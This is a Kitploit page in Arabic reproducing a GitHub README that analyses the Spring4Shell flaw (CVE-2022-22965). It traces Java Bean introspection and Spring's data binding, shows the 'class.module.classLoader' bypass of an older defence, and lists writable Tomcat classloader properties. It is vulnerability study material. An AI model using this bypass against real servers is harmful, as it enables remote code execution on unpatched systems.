Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
spring-RCE-CVE-2022-22965 — تحليل تعليمي واستغلال إثبات المفهوم لثغرة CVE-2022-22965، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد في Spring MVC/WebFlux عبر ربط البيانات على JDK 9+ مع نشر Tomcat WAR. | Kitploit
أدوات/GitHubGitHub/enokiy/spring-rce-cve-2022-22965
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبالتعلم والتعليم
GitHubenokiy/spring-rce-cve-2022-22965

spring-RCE-CVE-2022-22965

تحليل تعليمي واستغلال إثبات المفهوم لثغرة CVE-2022-22965، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد في Spring MVC/WebFlux عبر ربط البيانات على JDK 9+ مع نشر Tomcat WAR.

عرض المستودع
1منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

مقدمة الثغرة

في الآونة الأخيرة، كشفت Spring عن ثغرة CVE من العيار الثقيل. تُظهر معلومات CVE ما يلي: "قد يكون تطبيق Spring MVC أو Spring WebFlux الذي يعمل على JDK 9+ عرضةً لتنفيذ التعليمات البرمجية عن بُعد (RCE) عبر ربط البيانات. يتطلب الاستغلال المحدد تشغيل التطبيق على Tomcat كنشر WAR. إذا تم نشر التطبيق كملف jar تنفيذي من Spring Boot، أي الوضع الافتراضي، فلن يكون عرضةً لهذا الاستغلال. ومع ذلك، فإن طبيعة الثغرة أكثر عمومية، وقد توجد طرق أخرى لاستغلالها. (قد تكون تطبيقات Spring MVC أو Spring WebFlux التي تعمل على JDK 9+ عرضةً لهجوم تنفيذ التعليمات البرمجية عن بُعد (RCE) عبر ربط البيانات. يتطلب الاستغلال المحدد نشر التطبيق كحزمة WAR على Tomcat. إذا تم نشر التطبيق كملف jar تنفيذي من Spring Boot، أي الوضع الافتراضي، فإنه ليس عرضةً للهجوم. لكن طبيعة الثغرة أكثر عمومية، وقد توجد طرق أخرى لاستغلالها.)". يُجري هذا التحليل تكرارًا لهذه الثغرة لتعلّم مبدأ الثغرة.

java Bean API

قبل الاطلاع على مبدأ ربط المعاملات في Spring MVC، دعونا نلقي نظرة أولًا على بعض واجهات برمجة التطبيقات المتعلقة بـ Java Bean.

  • java Bean: إنها في الواقع مواصفة؛ عندما يستوفي الفصل هذه المواصفة، يمكن للفئات المحددة الأخرى استدعاؤه. عندما يُستخدم الفصل كـ Java Bean، يحتوي الفصل على مجموعة من الخصائص الخاصة، ويتم قراءة وكتابة الخصائص عبر طرق get/is() أو set() العامة (public).
  • Introspector (استبطان): توفر فئة Introspector طريقةً قياسيةً للأدوات للتعرّف على الخصائص والأحداث والأساليب التي يدعمها Java Bean المستهدَف. لكل نوع من هذه الأنواع الثلاثة من المعلومات، يقوم Introspector بتحليل فئة الفول وفئاته الفائقة بشكل منفصل بحثًا عن معلومات صريحة أو ضمنية، ويستخدم هذه المعلومات لبناء كائن BeanInfo يصف الفول المستهدَف بشكل شامل. (توفر Java معالجةً افتراضيةً لخصائص وأحداث وأساليب فئة Java Bean. على سبيل المثال، عند البحث عن خاصية/أسلوب لفئة bean، إذا لم يتم العثور على هذه الخاصية في فئة bean الحالية، يتم البحث في الفئة الأصلية لفئة bean، وهكذا.)
  • BeanInfo: قم باستبطان Java Bean وتعرّف على جميع خصائصه وأساليبه المكشوفة وأحداثه. إذا تم استبطان فئة BeanInfo الخاصة بـ Java Bean مسبقًا، فسيتم استرجاع فئة BeanInfo من ذاكرة التخزين المؤقت لـ BeanInfo. (قم باستبطان Java Bean وتعرف على جميع خصائصه وأساليبه وأحداثه العامة. إذا تم استبطان فئة BeanInfo الخاصة بـ Java Bean مسبقًا، فسيتم استرداد فئة BeanInfo من ذاكرة التخزين المؤقت لـ BeanInfo.)
  • PropertyDescriptor: يُستخدم لوصف الخصائص التي يكشفها Java Bean عبر مجموعة من أساليب الوصول (accessor methods).
  • قم بتعريف فئة java bean كما يلي:```java public class User { private String name;

    root@kitploit:~
    public User() {
    }
    public void setName(String name) {
        this.name = name;
    }
    public String getName() {
        return this.name;
    }
    public int getAge() {
        return 18;
    }
    

    }

    root@kitploit:~
    لنلقِ نظرة على المعلومات التي يحصل عليها Introspector.getBeanInfo باستخدام كود الاختبار التالي:```java
    @Test
        public  void testIntrospector() throws IntrospectionException {
            BeanInfo beanInfo = Introspector.getBeanInfo(User.class);
            for (PropertyDescriptor pdesc:beanInfo.getPropertyDescriptors()){
                System.out.println("Property: " + pdesc.getName() + ",Class:" + pdesc.getPropertyType());
            }
    //        for (MethodDescriptor md:beanInfo.getMethodDescriptors()) {
    //            System.out.println("Method: " + md.getName());
    //        }
        }
    

    المخرجات:```text Property: age,Class:int Property: class,Class:class java.lang.Class Property: name,Class:class java.lang.String

    root@kitploit:~
    إلى جانب age و"ذلك" المتوقعين، هناك أيضًا خاصية class، واسم الفئة هو Class. وإذا واصلت استدعاء Introspector.getBeanInfo(Class.class)، فيمكنك الحصول على مزيد من المعلومات مثل classLoader وما إلى ذلك:```text jdk11:
    Property: annotatedInterfaces
    Property: annotatedSuperclass
    Property: annotation
    Property: annotations
    Property: anonymousClass
    Property: array
    Property: canonicalName
    Property: class
    Property: classLoader
    Property: classes
    Property: componentType
    Property: constructors
    Property: declaredAnnotations
    Property: declaredClasses
    Property: declaredConstructors
    Property: declaredFields
    Property: declaredMethods
    Property: declaringClass
    Property: enclosingClass
    Property: enclosingConstructor
    Property: enclosingMethod
    Property: enum
    Property: enumConstants
    Property: fields
    Property: genericInterfaces
    Property: genericSuperclass
    Property: interface
    Property: interfaces
    Property: localClass
    Property: memberClass
    Property: methods
    Property: modifiers
    Property: module
    Property: name
    Property: nestHost
    Property: nestMembers
    Property: package
    Property: packageName
    Property: primitive
    Property: protectionDomain
    Property: signers
    Property: simpleName
    Property: superclass
    Property: synthetic
    Property: typeName
    Property: typeParameters
    

    بالإضافة إلى ذلك، دعنا نقارن الفرق في المعلومات التي تم الحصول عليها عبر Introspector.getBeanInfo(Class.class) في إصدارات JDK المختلفة؛ ما سبق هو الإخراج تحت jdk-11، وما يلي هو الإخراج تحت JDK8:```text jdk8: Property: annotatedInterfaces Property: annotatedSuperclass Property: annotation Property: annotations Property: anonymousClass Property: array Property: canonicalName Property: class Property: classLoader Property: classes Property: componentType Property: constructors Property: declaredAnnotations Property: declaredClasses Property: declaredConstructors Property: declaredFields Property: declaredMethods Property: declaringClass Property: enclosingClass Property: enclosingConstructor Property: enclosingMethod Property: enum Property: enumConstants Property: fields Property: genericInterfaces Property: genericSuperclass Property: interface Property: interfaces Property: localClass Property: memberClass Property: methods Property: modifiers Property: name Property: package Property: primitive Property: protectionDomain Property: signers Property: simpleName Property: superclass Property: synthetic Property: typeName Property: typeParameters

    root@kitploit:~
    `\r````text
    Property: annotatedInterfaces
    Property: annotatedSuperclass
    Property: annotation
    Property: annotations
    Property: anonymousClass
    Property: array
    Property: canonicalName
    Property: class
    Property: classLoader
    Property: classes
    Property: componentType
    Property: constructors
    Property: declaredAnnotations
    Property: declaredClasses
    Property: declaredConstructors
    Property: declaredFields
    Property: declaredMethods
    Property: declaringClass
    Property: enclosingClass
    Property: enclosingConstructor
    Property: enclosingMethod
    Property: enum
    Property: enumConstants
    Property: fields
    Property: genericInterfaces
    Property: genericSuperclass
    Property: interface
    Property: interfaces
    Property: localClass
    Property: memberClass
    Property: methods
    Property: modifiers
    Property: module
    Property: name
    Property: package
    Property: packageName
    Property: primitive
    Property: protectionDomain
    Property: signers
    Property: simpleName
    Property: superclass
    Property: synthetic
    Property: typeName
    Property: typeParameters
    

    بالمقارنة مع JDK8، أضاف JDK9 خاصيتين هما module وpackageName، بينما في JDK11 بالإضافة إلى خاصيتي module وpackageName توجد خاصيتان أخريان هما nestHost وnestMembers.

    data binding ربط البيانات

    عملية ربط المعاملات في الأطر من نوع web، وبشكل مبسط، هي أن الإطار يقوم بتحويل المعاملات في صيغة نصية قادمة من طلبات http إلى النوع الذي يحتاجه الخادم فعليًا، وبأخذ spring MVC كمثال: تعرّف صنفَي Bean هما User وUserInfo:```java public class UserInfo { public User getUser() { return user; }

    root@kitploit:~
    public void setUser(User user) {
        this.user = user;
    }
    
    public String getPassword() {
        return password;
    }
    
    public void setPassword(String password) {
        this.password = password;
    }
    
    private User user;
    private String password;
    
    @Override
    public String toString() {
        return "UserInfo{" +
                "user=" + user +
                ", password='" + password + '\'' +
                '}';
    }
    

    }

    root@kitploit:~
    استخدم الـcontroller التالي كاختبار:```java
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.RestController;
    
    @RestController
    public class DemoController {
        public DemoController() {
        }
    
        @RequestMapping({"/test"})
        public String test(User u) {
            System.out.println("access!");
            return "home";
        }
    
        @RequestMapping({"/get-user-info"})
        public String getUserInfo(UserInfo userInfo) {
            System.out.println("Name:"  + userInfo.getUser().getName());
            System.out.println("Age:"  + userInfo.getUser().getAge());
            System.out.println("password:" + userInfo.getPassword());
            System.out.println("classLoader:" + userInfo.getClass().getClassLoader());
    
            return userInfo.toString();
        }
    }
    

    عندما نصل إلى /get-user-info?password=password&user.name=enokiy، سيقوم الإطار تلقائيًا بإنشاء مثيل لفئة UserInfo، وربط القيم المقابلة بالخصائص المقابلة (عبر user.name يمكن الوصول بشكل متداخل إلى خاصية userInfo.user.name):

    دعونا نلقي نظرة من خلال التصحيح على العملية الكاملة لربط البيانات في Spring MVC: بدءًا من طريقة doDispatch في org.springframework.web.servlet.DispatcherServlet، في طريقة doDispatch يتم أولاً الحصول على mappedHandler بناءً على الطلب، ثم الحصول على HandlerAdapter، ويتم معالجة الطلب بشكل محدد عبر استدعاء طريقة handle() الخاصة بـ HandlerAdapter ثم إرجاع ModelAndView:

    حيث أن ha الذي تم الحصول عليه هنا في HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler()) هو في الواقع من فئة org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter، وبعد تنفيذ طريقة handle() الخاصة بـ HandlerAdapter، يتم الدخول إلى طريقة invokeHandleMethod الخاصة بـ RequestMappingHandlerAdapter:

    ثم في طريقة invokeHandleMethod، يتم إنشاء مثيل invocableMethod من ServletInvocableHandlerMethod بناءً على handlerMethod، مع تعيين dataBinderFactory وmodelFactory وargumentResolvers المناسبة، ثم يتم الانتقال إلى أساليب invokeAndHandle --> invokeForRequest --> getMethodArgumentValues الخاصة بـ invocableMethod حيث يتم التحليل عبر محللات الوسائط المختلفة:

    محللات الوسائط هنا هي كما يلي:```text org.springframework.web.method.annotation.RequestParamMethodArgumentResolver org.springframework.web.method.annotation.RequestParamMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.PathVariableMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.PathVariableMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.MatrixVariableMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.MatrixVariableMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor org.springframework.web.servlet.mvc.method.annotation.RequestResponseBodyMethodProcessor org.springframework.web.servlet.mvc.method.annotation.RequestPartMethodArgumentResolver org.springframework.web.method.annotation.RequestHeaderMethodArgumentResolver org.springframework.web.method.annotation.RequestHeaderMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletCookieValueMethodArgumentResolver org.springframework.web.method.annotation.ExpressionValueMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.SessionAttributeMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.RequestAttributeMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletRequestMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletResponseMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.HttpEntityMethodProcessor org.springframework.web.servlet.mvc.method.annotation.RedirectAttributesMethodArgumentResolver org.springframework.web.method.annotation.ModelMethodProcessor org.springframework.web.method.annotation.MapMethodProcessor org.springframework.web.method.annotation.ErrorsMethodArgumentResolver org.springframework.web.method.annotation.SessionStatusMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.UriComponentsBuilderMethodArgumentResolver org.springframework.web.method.annotation.RequestParamMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor

    root@kitploit:~
    فكيف نعرف أي محلل معلمات يجب اختياره تحديدًا لتحليل معلمات الطلب الحالي؟ في springmvc يتم الحكم على ذلك بناءً على معلومات التعليقات التوضيحية الخاصة بالمعلمات (المنطق البرمجي موجود في طريقة `HandlerMethodArgumentResolverComposite#getArgumentResolver`)، فمثلًا عند استخدام التعليقين التوضيحيين `@RequestMapping` و`@modelAttribute` يتم استخدام `org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor`، و`@RequestParam` يقابله RequestParamMethodArgumentResolver وهكذا.
    
    التعليق التوضيحي المستخدم في الـ demo الحالي هو `@RequestMapping`، لذا سنتابع الاطلاع على عملية ربط المعلمات في فئة ServletModelAttributeMethodProcessor:```java
    public final Object resolveArgument(MethodParameter parameter, @Nullable ModelAndViewContainer mavContainer,
    			NativeWebRequest webRequest, @Nullable WebDataBinderFactory binderFactory) throws Exception {
    
    		Assert.state(mavContainer != null, "ModelAttributeMethodProcessor requires ModelAndViewContainer");
    		Assert.state(binderFactory != null, "ModelAttributeMethodProcessor requires WebDataBinderFactory");
    
    		String name = ModelFactory.getNameForParameter(parameter);
    		ModelAttribute ann = parameter.getParameterAnnotation(ModelAttribute.class);
    		if (ann != null) {
    			mavContainer.setBinding(name, ann.binding());
    		}
    
    		Object attribute = null;
    		BindingResult bindingResult = null;
    
    		if (mavContainer.containsAttribute(name)) {
    			attribute = mavContainer.getModel().get(name);
    		}
    		else {
    			// Create attribute instance
    			try {
    				attribute = createAttribute(name, parameter, binderFactory, webRequest);
    			}
    			catch (BindException ex) {
    				if (isBindExceptionRequired(parameter)) {
    					// No BindingResult parameter -> fail with BindException
    					throw ex;
    				}
    				// Otherwise, expose null/empty value and associated BindingResult
    				if (parameter.getParameterType() == Optional.class) {
    					attribute = Optional.empty();
    				}
    				bindingResult = ex.getBindingResult();
    			}
    		}
    
    		if (bindingResult == null) {
    			// Bean property binding and validation;
    			// skipped in case of binding failure on construction.
    			WebDataBinder binder = binderFactory.createBinder(webRequest, attribute, name);
    			if (binder.getTarget() != null) {
    				if (!mavContainer.isBindingDisabled(name)) {
    					bindRequestParameters(binder, webRequest);
    				}
    				validateIfApplicable(binder, parameter);
    				if (binder.getBindingResult().hasErrors() && isBindExceptionRequired(binder, parameter)) {
    					throw new BindException(binder.getBindingResult());
    				}
    			}
    			// Value type adaptation, also covering java.util.Optional
    			if (!parameter.getParameterType().isInstance(attribute)) {
    				attribute = binder.convertIfNecessary(binder.getTarget(), parameter.getParameterType(), parameter);
    			}
    			bindingResult = binder.getBindingResult();
    		}
    
    		// Add resolved attribute and BindingResult at the end of the model
    		Map<String, Object> bindingResultModel = bindingResult.getModel();
    		mavContainer.removeAttributes(bindingResultModel);
    		mavContainer.addAllAttributes(bindingResultModel);
    
    		return attribute;
    	}
    

    وفقًا لمعاملات الطلب، يتم الحصول على اسم المعامل في النموذج. أولاً، يتم التحقق مما إذا كان ModelAndViewContainer يحتوي على اسم المعامل هذا؛ إذا كان كذلك، يتم الحصول على الخاصية مباشرةً من ModelAndViewContainer، وإلا يتم الدخول إلى طريقة ServletModelAttributeMethodProcessor#createAttribute لإنشاء خاصية النموذج:

    • ServletModelAttributeMethodProcessor#createAttribute:

      أولاً، يتم التحقق في الفئة الحالية مما إذا كان uri الطلب ومعاملاته تحتوي على اسم الخاصية (طريقة getRequestValueForAttribute)، وإذا كان كذلك يتم إرجاع القيمة، وإلا يتم الانتقال إلى طريقة super.createAttribute:

    • binderFactory.createBinder: إنشاء WebRequestDataBinder

    • bindRequestParameters: ServletModelAttributeMethodProcessor#bindRequestParameters--> ServletRequestDataBinder#bind --> ServletRequestDataBinder#doBind -->DataBinder#doBind -->DataBinder#applyPropertyValues -->DataBinder#getPropertyAccessor().setPropertyValues:

    حيث توجد في طريقة DataBinder#doBind بعض الفحوصات الخاصة بـ allowFields و requiredFields، وهي فارغة افتراضيًا في إصدار الاختبار الحالي:

    داخل AbstractPropertyAccessor#setPropertyValues(PropertyValues pvs, boolean ignoreUnknown, boolean ignoreInvalid) يتم استدعاء طريقة AbstractPropertyAccessor#setPropertyValue بشكل متكرر لربط قيم الخصائص لكل معامل طلب. أثناء عملية الربط، إذا تم اكتشاف أن اسم المعامل يحتوي على "."، فيجب أيضًا ربط الخاصية التي تلي "." بشكل متكرر عبر استدعاء getNestedPropertyAccessor:

    تدخل عملية الحصول على قيم الخصائص بشكل متكرر إلى معالجة تدفق البيانات التالية:```text AbstractNestablePropertyAccessor#getNestedPropertyAccessor-->AbstractNestablePropertyAccessor#setDefaultValue-->AbstractNestablePropertyAccessor#createDefaultPropertyValue-->AbstractNestablePropertyAccessor#getPropertyTypeDescriptor-->BeanWrapperImpl#getLocalPropertyHandler-->BeanWrapperImpl#getCachedIntrospectionResults

    root@kitploit:~
    أما في getLocalPropertyHandler، فسيتم استدعاء طريقة getCachedIntrospectionResults للبحث في cachedIntrospectionResults عما إذا كانت الخاصية الحالية موجودة. وبالإضافة إلى خصائص الطلب الحالي، يحتوي cachedIntrospectionResults هذا أيضًا على خاصية class مدمجة:
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/7c9e3bf3ba9832dd338ee71f075c3a7f90cd7ac4b94310336434cc4d6fde10a4.png)
    
    في آلية الاستبطان (Introspection) المذكورة سابقًا، ذُكر أنه عند الحصول على BeanInfo، إذا كانت فئة BeanInfo الخاصة بـ Java Bean قد خضعت للاستبطان من قبل، فسيتم استرجاع فئة BeanInfo من ذاكرة التخزين المؤقت لـ BeanInfo. لذا فإن دور cachedIntrospectionResults هنا يجب أن يكون لتحقيق هذه الميزة:
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/04859312c68bb0ba7386a1fa22b246049c4e04ba4fc98a859abf14fb52a87165.png)
    
    إلى هنا، لِنلخّص عملية ربط المعاملات في SpringMVC:
    1. عند تهيئة SpringMVC، تقوم فئة RequestMappingHandlerAdapter بإضافة بعض أدوات تحليل المعاملات الافتراضية إلى argumentResolvers. وعندما يستقبل SpringMVC طلبًا، يدخل إلى doDispatch الخاص بـ DispatcherServlet. في طريقة doDispatch، يتم أولاً الحصول على mappedHandler بناءً على الطلب، ثم يتم الحصول على HandlerAdapter، ويتم التعامل مع الطلب بشكل محدد من خلال استدعاء طريقة handle() الخاصة بـ HandlerAdapter ثم إرجاع ModelAndView، وبعدها يقوم ViewResolver بتحليلها وإرجاع View، وأخيرًا تقوم وحدة التحكم الأمامية (Front Controller) بتقديم العرض (Render).
    ![http://rui0.cn/wp-content/uploads/2019/10/Ping_Mu_Kuai_Zhao_-2019-10-17-_Xia_Wu_8.png](https://assets.kitploit.com/production/public/readmes/35879/082d72536dff18eff34f77c464bcbdfe4ff913fa5ce05b587da22a81ebdf05d2.png)
    2. أثناء المعالجة المحددة للطلب في طريقة handle() الخاصة بـ HandlerAdapter، يتم إنشاء مثيل invocableMethod من ServletInvocableHandlerMethod بناءً على handlerMethod، مع تعيين dataBinderFactory وmodelFactory وargumentResolvers المناسبة، ثم الدخول إلى طرق invocableMethod: invokeAndHandle --> invokeForRequest --> getMethodArgumentValues، حيث يتم التحليل عبر أدوات تحليل معاملات مختلفة، ويتم تحديد محلل المعاملات بناءً على معلومات التعليقات التوضيحية (Annotation) الخاصة بالمعامل.
    3. يقوم محلل المعاملات بتحليل المعاملات، فيقوم أولاً بإنشاء مثيل (خاصية) يقابل اسم معامل handlerMethod لمعامل الطلب، ثم يمر عبر DataBinder ليدخل في النهاية إلى BeanWrapperImpl لتعيين الخصائص ذات الصلة بـ Bean. ينفّذ BeanWrapperImpl تحديدًا طرق إنشاء Bean والاحتفاظ بها وتعديلها. ويمكن لطريقة setPropertyValue فيه حقن قيمة المعامل في الخصائص ذات الصلة بـ Bean المحدد (بما في ذلك list وmap وغيرها)، كما يمكنها أيضًا تعيين قيم الخصائص بشكل متداخل:
    
    ![http://rui0.cn/wp-content/uploads/2019/10/20170119132139329.jpeg](https://assets.kitploit.com/production/public/readmes/35879/6ddd9cc9b1d30ee9f7eb5ccaa133a58bdaf52348b3fa883ca5bd6d049698718c.png)
    
    سواء كان ربط البيانات في Spring MVC (ربط المعاملات المختلفة بمعاملات طرق معالجة الطلبات المُعلَّمة بـ @RequestMapping)، أو BeanFactory (الذي يعالج تعليق @Autowired)، فكلاهما يستخدم واجهة BeanWrapper.
    
    ### الكتابة فوق المتغيرات
    
    نظرًا لأن طريقة setPropertyValue المذكورة أعلاه تبحث في cachedIntrospectionResults عند تعيين الخصائص بشكل متداخل، وبما أن cachedIntrospectionResults يحتوي على خاصية class إضافية بالإضافة إلى معاملات الطلب، فمن الممكن في الطلب الوصول إلى خصائص classLoader عبر أسلوب class.classLoader.xx. هذه هي ثغرة CVE-2010-1622 في الإصدارات المبكرة من Spring؛ أما CVE-2022-22965 الحالية فهي تجاوز لآلية الحماية الخاصة بهذه الثغرة:
    
    بنية cachedIntrospectionResults هي كما يلي:
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/04859312c68bb0ba7386a1fa22b246049c4e04ba4fc98a859abf14fb52a87165.png)
    
    1. يتم استخراج معلومات خصائص BeanClass عبر Introspector.getBeanInfo(beanClass, Introspector.IGNORE_ALL_BEANINFO)، ولأن طريقة Introspector.getBeanInfo(beanClass, Introspector.IGNORE_ALL_BEANINFO) لا تحدد stopClass، فعند عدم العثور على الخاصية في الفئة الحالية، يتم البحث في الفئة الأصلية (الأم).
    2. يتم تعطيل خاصيتي ClassLoader وprotectionDomain لفئة Class؛ وهنا تكمن طريقة الدفاع ضد CVE-2010-1622؛
    
    في بداية المقال، قارنّا قيم الخصائص التي يتم الحصول عليها عبر Introspector.getBeanInfo(xxx) في إصدارات JDK المختلفة، وتبيّن أنها مختلفة. في إصدار JDK 9 فما فوق، تظهر خاصيتان إضافيتان هما module وpackageName، وتحت خاصية module توجد خاصية classLoader، لذا يمكن استخدام خاصية module للوصول إلى classLoader، وبهذا يتم تجاوز دفاع CVE-2010-1622 لإجراء الكتابة فوق المتغيرات:
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/b3de4eb5e96fcfd67dcee0d75aa7a9beb84b2b3224ee8fc20b89fa70bd773fe7.png)
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/0ac14514378c20fef1037eac6b336c8ca9673d2b560a3cbd880a4082e56976b1.png)
    
    ### استغلال الثغرة
    
    بعد فهم أن السبب الجوهري لهذه الثغرة هو الكتابة فوق المتغيرات، دعونا ننظر في المشكلات المتعلقة بعملية الاستغلال:
    1. ما هي المتغيرات التي يمكن الكتابة فوقها؟
    2. ما التأثير الذي ستحدثه المتغيرات التي تمت الكتابة فوقها؟
    
    نعرف الآن أنه يمكن إجراء عملية الكتابة فوق المتغيرات عبر class.module.classLoader، ولكن ما هي المتغيرات المحددة التي يمكن الكتابة فوقها؟ في سيناريوهات نشر Spring MVC المختلفة، يختلف classLoader، وبالتالي فإن طريقة الاستغلال ليست قابلة للتعميم.
    
    | شكل النشر | classLoader |
    | ---- | ---- |
    | SpringBoot FatJar | org.springframework.boot.loader.LaunchedURLClassLoader |
    | tomcat war | org.apache.catalina.loader.ParallelWebappClassLoader |
    | jetty war | org.eclipse.jetty.webapp.WebAppClassLoader |
    
    في حالة النشر عبر war على tomcat (بيئة الاختبار الحالية: "apache-tomcat-8.5.8" + "jdk-11.0.1")، الخصائص القابلة للقراءة والكتابة والتي يمكن الوصول إليها تحت class.module هي كما يلي (غير مكتملة، لم يتم جمع الخصائص من نوع List/Map/Set):
    <details>
    <summary>
    انقر لعرض الخصائص القابلة للقراءة والكتابة التي يمكن الوصول إليها تحت class.module
    </summary>```text
    class.module
    class.module.classLoader.clearReferencesHttpClientKeepAliveThread
    class.module.classLoader.clearReferencesLogFactoryRelease
    class.module.classLoader.clearReferencesRmiTargets
    class.module.classLoader.clearReferencesStopThreads
    class.module.classLoader.clearReferencesStopTimerThreads
    class.module.classLoader.delegate
    class.module.classLoader.resources
    class.module.classLoader.clearReferencesHttpClientKeepAliveThread
    class.module.classLoader.resources
    class.module.classLoader.resources.allowLinking
    class.module.classLoader.resources.cacheMaxSize
    class.module.classLoader.resources.cacheObjectMaxSize
    class.module.classLoader.resources.cacheTtl
    class.module.classLoader.resources.cachingAllowed
    class.module.classLoader.resources.context
    class.module.classLoader.resources.domain
    class.module.classLoader.resources.trackLockedFiles
    class.module.classLoader.resources.cacheMaxSize
    class.module.classLoader.resources.cacheObjectMaxSize
    class.module.classLoader.resources.cacheTtl
    class.module.classLoader.resources.context
    class.module.classLoader.resources.context.addWebinfClassesResources
    class.module.classLoader.resources.context.allowCasualMultipartParsing
    class.module.classLoader.resources.context.altDDName
    class.module.classLoader.resources.context.antiResourceLocking
    class.module.classLoader.resources.context.applicationEventListeners
    class.module.classLoader.resources.context.applicationLifecycleListeners
    class.module.classLoader.resources.context.backgroundProcessorDelay
    class.module.classLoader.resources.context.charsetMapper
    class.module.classLoader.resources.context.charsetMapperClass
    class.module.classLoader.resources.context.clearReferencesHttpClientKeepAliveThread
    class.module.classLoader.resources.context.clearReferencesRmiTargets
    class.module.classLoader.resources.context.clearReferencesStopThreads
    class.module.classLoader.resources.context.clearReferencesStopTimerThreads
    class.module.classLoader.resources.context.cluster
    class.module.classLoader.resources.context.configFile
    class.module.classLoader.resources.context.configured
    class.module.classLoader.resources.context.containerSciFilter
    class.module.classLoader.resources.context.cookieProcessor
    class.module.classLoader.resources.context.cookies
    class.module.classLoader.resources.context.copyXML
    class.module.classLoader.resources.context.crossContext
    class.module.classLoader.resources.context.defaultContextXml
    class.module.classLoader.resources.context.defaultWebXml
    class.module.classLoader.resources.context.delegate
    class.module.classLoader.resources.context.denyUncoveredHttpMethods
    class.module.classLoader.resources.context.dispatchersUseEncodedPaths
    class.module.classLoader.resources.context.displayName
    class.module.classLoader.resources.context.distributable
    class.module.classLoader.resources.context.docBase
    class.module.classLoader.resources.context.domain
    class.module.classLoader.resources.context.effectiveMajorVersion
    class.module.classLoader.resources.context.effectiveMinorVersion
    class.module.classLoader.resources.context.failCtxIfServletStartFails
    class.module.classLoader.resources.context.fireRequestListenersOnFoards
    class.module.classLoader.resources.context.ignoreAnnotations
    class.module.classLoader.resources.context.instanceManager
    class.module.classLoader.resources.context.j2EEApplication
    class.module.classLoader.resources.context.j2EEServer
    class.module.classLoader.resources.context.jarScanner
    class.module.classLoader.resources.context.javaVMs
    class.module.classLoader.resources.context.jndiExceptionOnFailedWrite
    class.module.classLoader.resources.context.jspConfigDescriptor
    class.module.classLoader.resources.context.loader
    class.module.classLoader.resources.context.logEffectiveWebXml
    class.module.classLoader.resources.context.loginConfig
    class.module.classLoader.resources.context.manager
    class.module.classLoader.resources.context.mapperContextRootRedirectEnabled
    class.module.classLoader.resources.context.mapperDirectoryRedirectEnabled
    class.module.classLoader.resources.context.name
    class.module.classLoader.resources.context.namingContextListener
    class.module.classLoader.resources.context.namingResources
    class.module.classLoader.resources.context.originalDocBase
    class.module.classLoader.resources.context.override
    class.module.classLoader.resources.context.parent
    class.module.classLoader.resources.context.parentClassLoader
    class.module.classLoader.resources.context.path
    class.module.classLoader.resources.context.preemptiveAuthentication
    class.module.classLoader.resources.context.privileged
    class.module.classLoader.resources.context.publicId
    class.module.classLoader.resources.context.realm
    class.module.classLoader.resources.context.reloadable
    class.module.classLoader.resources.context.renewThreadsWhenStoppingContext
    class.module.classLoader.resources.context.resourceOnlyServlets
    class.module.classLoader.resources.context.resources
    class.module.classLoader.resources.context.sendRedirectBody
    class.module.classLoader.resources.context.server
    class.module.classLoader.resources.context.sessionCookieDomain
    class.module.classLoader.resources.context.sessionCookieName
    class.module.classLoader.resources.context.sessionCookiePath
    class.module.classLoader.resources.context.sessionCookiePathUsesTrailingSlash
    class.module.classLoader.resources.context.sessionTimeout
    class.module.classLoader.resources.context.startChildren
    class.module.classLoader.resources.context.startStopThreads
    class.module.classLoader.resources.context.startupTime
    class.module.classLoader.resources.context.swallowAbortedUploads
    class.module.classLoader.resources.context.swallowOutput
    class.module.classLoader.resources.context.threadBindingListener
    class.module.classLoader.resources.context.tldScanTime
    class.module.classLoader.resources.context.tldValidation
    class.module.classLoader.resources.context.unloadDelay
    class.module.classLoader.resources.context.unpackWAR
    class.module.classLoader.resources.context.useHttpOnly
    class.module.classLoader.resources.context.useNaming
    class.module.classLoader.resources.context.useRelativeRedirects
    class.module.classLoader.resources.context.validateClientProvidedNewSessionId
    class.module.classLoader.resources.context.webappVersion
    class.module.classLoader.resources.context.workDir
    class.module.classLoader.resources.context.wrapperClass
    class.module.classLoader.resources.context.xmlBlockExternal
    class.module.classLoader.resources.context.xmlNamespaceAware
    class.module.classLoader.resources.context.xmlValidation
    class.module.classLoader.resources.context.applicationEventListeners
    class.module.classLoader.resources.context.applicationLifecycleListeners
